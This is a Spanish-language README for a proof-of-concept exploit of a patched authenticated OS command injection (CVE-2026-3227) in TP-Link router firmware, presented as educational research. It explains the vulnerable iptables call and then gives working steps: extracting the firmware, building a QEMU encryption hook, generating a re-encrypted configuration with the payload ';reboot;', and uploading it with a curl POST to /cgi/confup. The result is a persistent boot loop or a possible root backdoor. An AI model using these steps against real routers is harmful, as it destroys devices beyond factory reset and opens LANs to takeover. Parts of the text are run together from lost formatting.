
Prueba de concepto para inyección de comandos del sistema operativo autenticada en el firmware del router TP-Link. Incluye descifrado, hook de cifrado basado en QEMU y generación de payload de 15 caracteres para bucle de arranque persistente o implementación de puerta trasera.
Para más información, ver https://www.cve.org/CVERecord?id=CVE-2026-3227
Una vulnerabilidad persistente y autenticada de Inyección de Comandos del SO en el firmware de routers TP-Link que puede causar el brick del dispositivo o una posible toma de control de la LAN.
Aviso: Este repositorio contiene código de prueba de concepto (PoC) para una vulnerabilidad ya parcheada. Está destinado a fines educativos y para investigadores de seguridad.
Existe una vulnerabilidad de inyección de comandos en el mecanismo de copia de seguridad/restauración de configuración de varios routers TP-Link (incluyendo TL-WR802N, TL-WR841N y TL-WR840N). Un atacante con acceso administrativo puede descargar la configuración del router, descifrarla, inyectar un comando malicioso del SO (de hasta 15 caracteres) en campos XML específicos, volver a cifrarlo y cargarlo de nuevo en el dispositivo.
Cuando el router aplica la configuración (por ejemplo, durante eventos de activación de puertos o al inicio), la carga útil inyectada se ejecuta como root. Esto puede usarse para causar un bucle de arranque persistente (dejando el dispositivo permanentemente inutilizado incluso después de restablecimientos de fábrica) o potencialmente habilitar una puerta trasera persistente para movimientos laterales en la LAN.
Mientras exploraba la función de copia de seguridad de configuración del router, decidí aplicar ingeniería inversa al binario httpd y a la biblioteca libcmm.so para entender cómo se cifran y analizan los archivos de configuración.
qemu-user y enganché el binario original httpd del router en tiempo de ejecución (create_config.c). Esto me permitió invocar las funciones de cifrado nativas del router directamente desde mi PoC en Python, imitando perfectamente el formato de cifrado original.La vulnerabilidad radica en cómo el producto analiza el blob de configuración cifrado y lo aplica en tiempo de ejecución. En la ruta de configuración de activación de puertos, la implementación construye comandos de shell utilizando campos controlables por el usuario sin la debida sanitización.
Específicamente, la función oal_pt_addPortTrigger llama:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
La cadena de formato %s se rellena con una cadena de interfaz (X_TP_IfName) analizada directamente desde la configuración XML cargada.
El flujo de ejecución:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger llama a forward_parsePtOpenPort para analizar las listas de puertos.iptables y la ejecuta mediante util_execSystem (que envuelve system()).Modificando el XML descifrado para incluir:
<X_TP_IfName val=";reboot;"/>
El comando se ejecuta durante la inicialización de la interfaz al inicio o cuando ocurre un evento de activación de puerto. Debido a que la carga útil está limitada a 15 caracteres, explotar la vulnerabilidad requiere técnicas compactas de ejecución de comandos.
Para evitar distribuir binarios de TP-Link con derechos de autor, este PoC requiere que extraigas el sistema de archivos del router tú mismo para utilizar las bibliotecas de cifrado nativas a través de un hook personalizado de QEMU.
qemu-mipsel y un compilador cruzado (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root dentro de python_utils/ de este proyecto.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. Si usaste ;reboot;, el router se reiniciará inmediatamente y entrará en un bucle de arranque persistente.